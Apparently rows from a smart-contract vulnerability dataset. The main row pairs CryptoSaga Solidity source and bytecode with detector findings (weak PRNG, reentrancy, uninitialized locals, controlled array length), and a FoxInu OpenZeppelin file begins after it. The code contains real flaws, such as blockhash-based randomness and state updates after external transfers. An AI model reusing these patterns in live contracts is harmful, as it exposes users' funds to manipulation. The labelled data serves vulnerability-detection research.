LevelUp(msg.sender, _tokenId, _heroInstance.currentLevel);
}
// @dev Transfer deposit (with the allowance pattern.)
function transferDeposit(uint256 _amount)
whenNotPaused
public
{
require(goldContract.allowance(msg.sender, this) >= _amount);
// Send msg.sender's Gold to this contract.
if (goldContract.transferFrom(msg.sender, this, _amount)) {
// Increment deposit.
addressToGoldDeposit[msg.sender] += _amount;
}
}
// @dev Withdraw deposit.
function withdrawDeposit(uint256 _amount)
public
{
require(addressToGoldDeposit[msg.sender] >= _amount);
// Send deposit of Golds to msg.sender. (Rather minting...)
if (goldContract.transfer(msg.sender, _amount)) {
// Decrement deposit.
addressToGoldDeposit[msg.sender] -= _amount;
}
}
// @dev return a pseudo random number between lower and upper bounds
function random(uint32 _upper, uint32 _lower)
private
returns (uint32)
{
require(_upper > _lower);
seed = uint32(keccak256(keccak256(block.blockhash(block.number), seed), now));
return seed % (_upper - _lower) + _lower;
}
}
/**
* @title CryptoSagaCorrectedHeroStats
* @dev Corrected hero stats is needed to fix the bug in hero stats.
*/
contract CryptoSagaCorrectedHeroStats {
// The hero contract.
CryptoSagaHero private heroContract;
// @dev Constructor.
function CryptoSagaCorrectedHeroStats(address _heroContractAddress)
public
{
heroContract = CryptoSagaHero(_heroContractAddress);
}
// @dev Get the hero's stats and some other infomation.
function getCorrectedStats(uint256 _tokenId)
external view
returns (uint32 currentLevel, uint32 currentExp, uint32[5] currentStats, uint32[5] ivs, uint32 bp)
{
var (, , _currentLevel, _currentExp, , , _currentStats, _ivs, ) = heroContract.getHeroInfo(_tokenId);
if (_currentLevel != 1) {
for (uint8 i = 0; i < 5; i ++) {
_currentStats[i] += _ivs[i];
}
}
var _bp = _currentStats[0] + _currentStats[1] + _currentStats[2] + _currentStats[3] + _currentStats[4];
return (_currentLevel, _currentExp, _currentStats, _ivs, _bp);
}
// @dev Get corrected total BP of the address.
function getCorrectedTotalBPOfAddress(address _address)
external view
returns (uint32)
{
var _balance = heroContract.balanceOf(_address);
uint32 _totalBP = 0;
for (uint256 i = 0; i < _balance; i ++) {
var (, , _currentLevel, , , , _currentStats, _ivs, ) = heroContract.getHeroInfo(heroContract.getTokenIdOfAddressAndIndex(_address, i));
if (_currentLevel != 1) {
for (uint8 j = 0; j < 5; j ++) {
_currentStats[j] += _ivs[j];
}
}
_totalBP += (_currentStats[0] + _currentStats[1] + _currentStats[2] + _currentStats[3] + _currentStats[4]);
}
return _totalBP;
}
// @dev Get corrected total BP of the address.
function getCorrectedTotalBPOfTokens(uint256[] _tokens)
external view
returns (uint32)
{
uint32 _totalBP = 0;
for (uint256 i = 0; i < _tokens.length; i ++) {
var (, , _currentLevel, , , , _currentStats, _ivs, ) = heroContract.getHeroInfo(_tokens[i]);
if (_currentLevel != 1) {
for (uint8 j = 0; j < 5; j ++) {
_currentStats[j] += _ivs[j];
}
}
_totalBP += (_currentStats[0] + _currentStats[1] + _currentStats[2] + _currentStats[3] + _currentStats[4]);
}
return _totalBP;
}
}
/**
* @title CryptoSagaArenaRecord
* @dev The record of battles in the Arena.
*/
contract CryptoSagaArenaRecord is Pausable, AccessDeploy {
// Number of players for the leaderboard.
uint8 public numberOfLeaderboardPlayers = 25;
// Top players in the leaderboard.
address[] public leaderBoardPlayers;
// For checking whether the player is in the leaderboard.
mapping(address => bool) public addressToIsInLeaderboard;
// Number of recent player recorded for matchmaking.
uint8 public numberOfRecentPlayers = 50;
// List of recent players.
address[] public recentPlayers;
// Front of recent players.
uint256 public recentPlayersFront;
// Back of recent players.
uint256 public recentPlayersBack;
// Record of each player.
mapping(address => uint32) public addressToElo;
// Event that is fired when a new change has been made to the leaderboard.
event UpdateLeaderboard(
address indexed _by,
uint256 _dateTime
);
// @dev Get elo rating of a player.
function getEloRating(address _address)
external view
returns (uint32)
{
if (addressToElo[_address] != 0)
return addressToElo[_address];
else
return 1500;
}
// @dev Get players in the leaderboard.
function getLeaderboardPlayers()
external view
returns (address[])
{
return leaderBoardPlayers;
}
// @dev Get current length of the leaderboard.
function getLeaderboardLength()
external view
returns (uint256)
{
return leaderBoardPlayers.length;
}
// @dev Get recently played players.
function getRecentPlayers()
external view
returns (address[])
{
return recentPlayers;
}
// @dev Get current number of players in the recently played players queue.
function getRecentPlayersCount()
public view
returns (uint256)
{
return recentPlayersBack - recentPlayersFront;
}
// @dev Constructor.
function CryptoSagaArenaRecord(
address _firstPlayerAddress,
address _previousSeasonRecord,
uint8 _numberOfLeaderboardPlayers,
uint8 _numberOfRecentPlayers)
public
{
numberOfLeaderboardPlayers = _numberOfLeaderboardPlayers;
numberOfRecentPlayers = _numberOfRecentPlayers;
// The initial player gets into leaderboard.
leaderBoardPlayers.push(_firstPlayerAddress);
addressToIsInLeaderboard[_firstPlayerAddress] = true;
// The initial player pushed into the recent players queue.
pushPlayer(_firstPlayerAddress);
// The initial player's Elo.
addressToElo[_firstPlayerAddress] = 1500;
// Get instance of previous season.
CryptoSagaArenaRecord _previous = CryptoSagaArenaRecord(_previousSeasonRecord);
for (uint256 i = _previous.recentPlayersFront(); i < _previous.recentPlayersBack(); i++) {
var _player = _previous.recentPlayers(i);
// The initial player's Elo.
addressToElo[_player] = _previous.getEloRating(_player);
}
}
// @dev Update record.
function updateRecord(address _myAddress, address _enemyAddress, bool _didWin)
whenNotPaused onlyAccessDeploy
public
{
address _winnerAddress = _didWin? _myAddress: _enemyAddress;
address _loserAddress = _didWin? _enemyAddress: _myAddress;
// Initial value of Elo.
uint32 _winnerElo = addressToElo[_winnerAddress];
if (_winnerElo == 0)
_winnerElo = 1500;
uint32 _loserElo = addressToElo[_loserAddress];
if (_loserElo == 0)
_loserElo = 1500;
// Adjust Elo.
if (_winnerElo >= _loserElo) {
if (_winnerElo - _loserElo < 50) {
addressToElo[_winnerAddress] = _winnerElo + 5;
addressToElo[_loserAddress] = _loserElo - 5;
} else if (_winnerElo - _loserElo < 80) {
addressToElo[_winnerAddress] = _winnerElo + 4;
addressToElo[_loserAddress] = _loserElo - 4;
} else if (_winnerElo - _loserElo < 150) {
addressToElo[_winnerAddress] = _winnerElo + 3;
addressToElo[_loserAddress] = _loserElo - 3;
} else if (_winnerElo - _loserElo < 250) {
addressToElo[_winnerAddress] = _winnerElo + 2;
addressToElo[_loserAddress] = _loserElo - 2;
} else {
addressToElo[_winnerAddress] = _winnerElo + 1;
addressToElo[_loserAddress] = _loserElo - 1;
}
} else {
if (_loserElo - _winnerElo < 50) {
addressToElo[_winnerAddress] = _winnerElo + 5;
addressToElo[_loserAddress] = _loserElo - 5;
} else if (_loserElo - _winnerElo < 80) {
addressToElo[_winnerAddress] = _winnerElo + 6;
addressToElo[_loserAddress] = _loserElo - 6;
} else if (_loserElo - _winnerElo < 150) {
addressToElo[_winnerAddress] = _winnerElo + 7;
addressToElo[_loserAddress] = _loserElo - 7;
} else if (_loserElo - _winnerElo < 250) {
addressToElo[_winnerAddress] = _winnerElo + 8;
addressToElo[_loserAddress] = _loserElo - 8;
} else {
addressToElo[_winnerAddress] = _winnerElo + 9;
addressToElo[_loserAddress] = _loserElo - 9;
}
}
// Update recent players list.
if (!isPlayerInQueue(_myAddress)) {
// If the queue is full, pop a player.
if (getRecentPlayersCount() >= numberOfRecentPlayers)
popPlayer();
// Push _myAddress to the queue.
pushPlayer(_myAddress);
}
// Update leaderboards.
if(updateLeaderboard(_enemyAddress) || updateLeaderboard(_myAddress))
{
UpdateLeaderboard(_myAddress, now);
}
}
// @dev Update leaderboard.
function updateLeaderboard(address _addressToUpdate)
whenNotPaused
private
returns (bool isChanged)
{
// If this players is already in the leaderboard, there's no need for replace the minimum recorded player.
if (addressToIsInLeaderboard[_addressToUpdate]) {
// Do nothing.
} else {
if (leaderBoardPlayers.length >= numberOfLeaderboardPlayers) {
// Need to replace existing player.
// First, we need to find the player with miminum Elo value.
uint32 _minimumElo = 99999;
uint8 _minimumEloPlayerIndex = numberOfLeaderboardPlayers;
for (uint8 i = 0; i < leaderBoardPlayers.length; i ++) {
if (_minimumElo > addressToElo[leaderBoardPlayers[i]]) {
_minimumElo = addressToElo[leaderBoardPlayers[i]];
_minimumEloPlayerIndex = i;
}
}
// Second, if the minimum elo value is smaller than the player's elo value, then replace the entity.
if (_minimumElo <= addressToElo[_addressToUpdate]) {
addressToIsInLeaderboard[leaderBoardPlayers[_minimumEloPlayerIndex]] = false;
leaderBoardPlayers[_minimumEloPlayerIndex] = _addressToUpdate;
addressToIsInLeaderboard[_addressToUpdate] = true;
isChanged = true;
}
} else {
// The list is not full yet.
// Just add the player to the list.
leaderBoardPlayers.push(_addressToUpdate);
addressToIsInLeaderboard[_addressToUpdate] = true;
isChanged = true;
}
}
}
// #dev Check whether contain the element or not.
function isPlayerInQueue(address _player)
view private
returns (bool isContain)
{
isContain = false;
for (uint256 i = recentPlayersFront; i < recentPlayersBack; i++) {
if (_player == recentPlayers[i]) {
isContain = true;
}
}
}
// @dev Push a new player into the queue.
function pushPlayer(address _player)
private
{
recentPlayers.push(_player);
recentPlayersBack++;
}
// @dev Pop the oldest player in this queue.
function popPlayer()
private
returns (address player)
{
if (recentPlayersBack == recentPlayersFront)
return address(0);
player = recentPlayers[recentPlayersFront];
delete recentPlayers[recentPlayersFront];
recentPlayersFront++;
}
} | 0x608060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806327329380146101385780633bce14c8146101635780633c8a0b13146101945780633f4ba83a146101f75780634794997f1461020e5780634e71e0c81461027b578063584283221461029257806358e3f1bc146102d55780635c975abb146103385780636be20d4a146103675780638456cb59146103d457806388508a18146103eb5780638da5cb5b146104575780638e98c6b9146104ae578063ab4866071461051a578063b1ecb34314610545578063b52db3b914610570578063b87aedcc146105df578063bbeeca481461060a578063d47ee6c114610665578063de852afe14610696578063e30c3978146106d9578063f2fde38b14610730575b600080fd5b34801561014457600080fd5b5061014d610773565b6040518082815260200191505060405180910390f35b34801561016f57600080fd5b50610178610781565b604051808260ff1660ff16815260200191505060405180910390f35b3480156101a057600080fd5b506101d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610794565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b34801561020357600080fd5b5061020c610856565b005b34801561021a57600080fd5b5061023960048036038101908080359060200190929190505050610914565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561028757600080fd5b50610290610952565b005b34801561029e57600080fd5b506102d3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610af1565b005b3480156102e157600080fd5b50610316600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b34801561034457600080fd5b5061034d610bca565b604051808215151515815260200191505060405180910390f35b34801561037357600080fd5b5061039260048036038101908080359060200190929190505050610bdd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103e057600080fd5b506103e9610c1b565b005b3480156103f757600080fd5b50610400610cdb565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610443578082015181840152602081019050610428565b505050509050019250505060405180910390f35b34801561046357600080fd5b5061046c610d69565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104ba57600080fd5b506104c3610d8e565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105065780820151818401526020810190506104eb565b505050509050019250505060405180910390f35b34801561052657600080fd5b5061052f610e1c565b6040518082815260200191505060405180910390f35b34801561055157600080fd5b5061055a610e29565b6040518082815260200191505060405180910390f35b34801561057c57600080fd5b506105dd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610e2f565b005b3480156105eb57600080fd5b506105f4611915565b6040518082815260200191505060405180910390f35b34801561061657600080fd5b5061064b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061191b565b604051808215151515815260200191505060405180910390f35b34801561067157600080fd5b5061067a61193b565b604051808260ff1660ff16815260200191505060405180910390f35b3480156106a257600080fd5b506106d7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061194e565b005b3480156106e557600080fd5b506106ee611a04565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561073c57600080fd5b50610771600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a2a565b005b600060085460095403905090565b600660009054906101000a900460ff1681565b600080600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1663ffffffff1614151561084b57600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff169050610851565b6105dc90505b919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108b157600080fd5b600060149054906101000a900460ff1615156108cc57600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60048181548110151561092357fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109ae57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4c57600080fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600a6020528060005260406000206000915054906101000a900463ffffffff1681565b600060149054906101000a900460ff1681565b600781815481101515610bec57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c7657600080fd5b600060149054906101000a900460ff16151515610c9257600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60606007805480602002602001604051908101604052809291908181526020018280548015610d5f57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610d15575b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606004805480602002602001604051908101604052809291908181526020018280548015610e1257602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610dc8575b5050505050905090565b6000600480549050905090565b60095481565b600080600080600060149054906101000a900460ff16151515610e5157600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610efc575060011515600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b1515610f0757600080fd5b84610f125785610f14565b865b935084610f215786610f23565b855b9250600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16915060008263ffffffff161415610f8c576105dc91505b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415610ff3576105dc90505b8063ffffffff168263ffffffff1610151561143357603281830363ffffffff1610156110e05760058201600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff16021790555060058103600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff16021790555061142e565b605081830363ffffffff1610156111b85760048201600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff16021790555060048103600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff16021790555061142d565b609681830363ffffffff1610156112905760038201600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff16021790555060038103600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff16021790555061142c565b60fa81830363ffffffff1610156113685760028201600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff16021790555060028103600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff16021790555061142b565b60018201600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff16021790555060018103600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b5b5b5b61185a565b603282820363ffffffff16101561150b5760058201600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff16021790555060058103600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff160217905550611859565b605082820363ffffffff1610156115e35760068201600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff16021790555060068103600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff160217905550611858565b609682820363ffffffff1610156116bb5760078201600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff16021790555060078103600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff160217905550611857565b60fa82820363ffffffff1610156117935760088201600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff16021790555060088103600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff160217905550611856565b60098201600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff16021790555060098103600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b5b5b5b5b61186387611ac9565b151561189f57600660009054906101000a900460ff1660ff16611884610773565b10151561189557611893611b65565b505b61189e87611c0e565b5b6118a886611c89565b806118b857506118b787611c89565b5b1561190c578673ffffffffffffffffffffffffffffffffffffffff167f2c0fc499426d009673f35a90921a0b51c0faf04f3f9155528a785157c3c82f51426040518082815260200191505060405180910390a25b50505050505050565b60085481565b60056020528060005260406000206000915054906101000a900460ff1681565b600360009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119a957600080fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a8557600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806000915060085490505b600954811015611b5f57600781815481101515611aef57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b5257600191505b8080600101915050611ad6565b50919050565b60006008546009541415611b7c5760009050611c0b565b6007600854815481101515611b8d57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506007600854815481101515611bcb57fe5b9060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556008600081548092919060010191905055505b90565b60078190806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060096000815480929190600101919050555050565b600080600080600060149054906101000a900460ff16151515611cab57600080fd5b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d0257612106565b600360009054906101000a900460ff1660ff16600480549050101515612042576201869f9250600360009054906101000a900460ff169150600090505b6004805490508160ff161015611e8d57600a600060048360ff16815481101515611d6557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1663ffffffff168363ffffffff161115611e8057600a600060048360ff16815481101515611e0457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1692508091505b8080600101915050611d3f565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1663ffffffff168363ffffffff1611151561203d5760006005600060048560ff16815481101515611f0957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508460048360ff16815481101515611f9857fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600193505b612105565b60048590806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506001600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600193505b5b5050509190505600a165627a7a7230582014ee4f7d24794679894650d95c3c501e09af8cbc691d23511aa4384aa9a0c9500029 | {"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'controlled-array-length', 'impact': 'High', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
22203,
2050,
2475,
2050,
21057,
2050,
21926,
2620,
2549,
6679,
20842,
2278,
2487,
2098,
2620,
19317,
2063,
21472,
2620,
2278,
19481,
2683,
12521,
3401,
2692,
2581,
17465,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2324,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
3647,
18900,
2232,
1008,
1030,
16475,
8785,
3136,
2007,
3808,
14148,
2008,
5466,
2006,
7561,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
4800,
24759,
3111,
2048,
3616,
1010,
11618,
2006,
2058,
12314,
1012,
1008,
1013,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2065,
1006,
1037,
1027,
1027,
1014,
1007,
1063,
2709,
1014,
1025,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,407 | 0x951a4749ed127757b73fe479af7929fa754eee79 | // File: FoxInu.sol
// File: artifacts/FoxInu.sol
// File: FoxInu_flat.sol
// File: FoxInu.sol
// File: FoxInu.sol
// File: FoxInu.sol
// File: FoxInu.sol
// File: FoxInu.sol
// File: contracts/FoxInu.sol
/**
*/
// File: FoxInu.sol
// hevm: flattened sources of src
pragma solidity =0.8.10 >=0.8.10 >=0.8.0 <0.9.0;
pragma experimental ABIEncoderV2;
////// lib/openzeppelin-contracts/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
/* pragma solidity ^0.8.0; */
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
////// lib/openzeppelin-contracts/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
/* pragma solidity ^0.8.0; */
/* import "../utils/Context.sol"; */
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
